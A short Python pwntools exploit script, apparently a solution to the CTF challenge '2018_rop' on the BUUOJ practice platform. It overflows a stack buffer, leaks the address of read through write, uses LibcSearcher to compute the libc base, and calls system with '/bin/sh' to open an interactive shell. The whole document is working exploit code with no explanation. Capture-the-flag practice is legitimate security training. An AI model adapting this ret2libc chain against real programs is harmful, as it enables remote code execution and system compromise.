exp
#!/usr/bin/env python3
# coding=utf-8
from pwn import *
from LibcSearcher import *
context(log_level='debug')
proc_name = './2018_rop'
p = process(proc_name)
p = remote('node3.buuoj.cn', 25414)
elf = ELF(proc_name)
write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = elf.sym['main']
payload = 'a'.encode() * (0x88 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4)
p.sendline(payload)
read_addr = u32(p.recv())
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
payload1 = 'a'.encode() * (0x88 + 4) + p32(system_addr) + p32(main_addr) + p32(str_bin_sh)
p.sendline(payload1)
p.interactive()
